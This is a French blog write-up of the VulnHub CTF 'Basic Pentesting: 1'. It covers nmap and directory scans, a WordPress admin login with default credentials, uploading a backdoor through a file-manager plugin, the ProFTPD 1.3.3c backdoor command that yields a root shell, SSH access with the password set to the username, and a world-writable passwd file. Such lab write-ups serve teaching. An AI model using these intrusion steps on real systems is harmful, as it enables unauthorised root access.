Accueil Solution du CTF Basic Pentesting: 1 de VulnHub
Post
Annuler

Solution du CTF Basic Pentesting: 1 de VulnHub

Ici on attaque un CTF nommé Basic Pentesting qui porte bien son nom. Par conséquent je ne passerais que rapidement sur l’exploitation de ce CTF.

Au menu

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Nmap scan report for 192.168.1.48
Host is up (0.00065s latency).
Not shown: 65499 closed ports, 33 filtered ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA)
|_  256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:14:06:50 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.0
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

La page d’index est celle par défaut d’Apache (It works!) mais le module buster de Wapiti nous laisse une piste supplémentaire :

1
2
[*] Launching module buster
Found webpage http://192.168.1.48/secret

Il s’agit d’un blog Wordpress en version 4.9.2 (d’après la balise meta generator du code HTML)

On remarque vite que les liens du site font référence à un hostname appelé vtcsec du coup on rajoute une entrée dans notre /etc/hosts.

#OPSecFAIL

On lance un WPScan dessus qui trouve essentiellement que le listing est activé sur le dossier /wp-includes/ et que l’utilisateur admin est présent.

Le dossier wp-includes n’a rien qui saute au yeux… Mais quand on essaye de se connecter sur /wp-admin avec admin/admin… ça passe.

A partir de là chacun à sa technique, moi j’aime bien installer le plugin wp-file-manager qui permet de gérer les fichiers (on ne voit que ceux sous la racine wordpress mais on peut uploader une backdoor).

Bien sûr on tourne avec les droits uid=33(www-data) gid=33(www-data) groups=33(www-data).

On trouve facilement un utilisateur marlinspike sur le système (membre du groupe sudo) dont le dossier personnel est visitable.

On trouve notamment une archive décompressée nommée backdoored_proftpd-1.3.3c faisant référence à une backdoor bien connue.

L’obtention des droits root est facile :

1
2
3
4
5
6
7
8
$ telnet vtcsec 21
Trying 192.168.1.48...
Connected to vtcsec.
Escape character is '^]'.
220 ProFTPD 1.3.3c Server (vtcsec) [192.168.1.48]
HELP ACIDBITCHEZ
id;
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)

#YOLOsecurity

Le synopsis nous invite à chercher d’autres façons d’obtenir les droits root.

Une possibilité est d’utiliser le mot de passe marlinspike pour le compte du même nom :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ ssh marlinspike@vtcsec
marlinspike@vtcsec's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-28-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

19 packages can be updated.
19 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

marlinspike@vtcsec:~$ sudo -l
[sudo] password for marlinspike:
Matching Defaults entries for marlinspike on vtcsec:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marlinspike may run the following commands on vtcsec:
    (ALL : ALL) ALL

Au passage ça m’a fait remarquer que Ncrack ne dispose pas d’option pour tester automatiquement l’absence de mot de passe ou un mot de passe équivalent au login alors que cette bonne vieille Hydre peut le faire.

On rajoutera à ça la présence de permissions hasardeuses :

1
2
-rw-rw-rw-  1 root root    2364 Nov 16 13:02 passwd
-rw-r--r--  1 root shadow  1305 Nov 16 13:02 shadow

Conclusions

Simple et rapide. Une situation plus réaliste aurait été la présence d’une page avec une injection SQL permettant de retrouver le hash de l’admin Wordpress pour le casser…

Published February 05 2018 at 12:09

Cet article est sous licence CC BY 4.0 par l'auteur.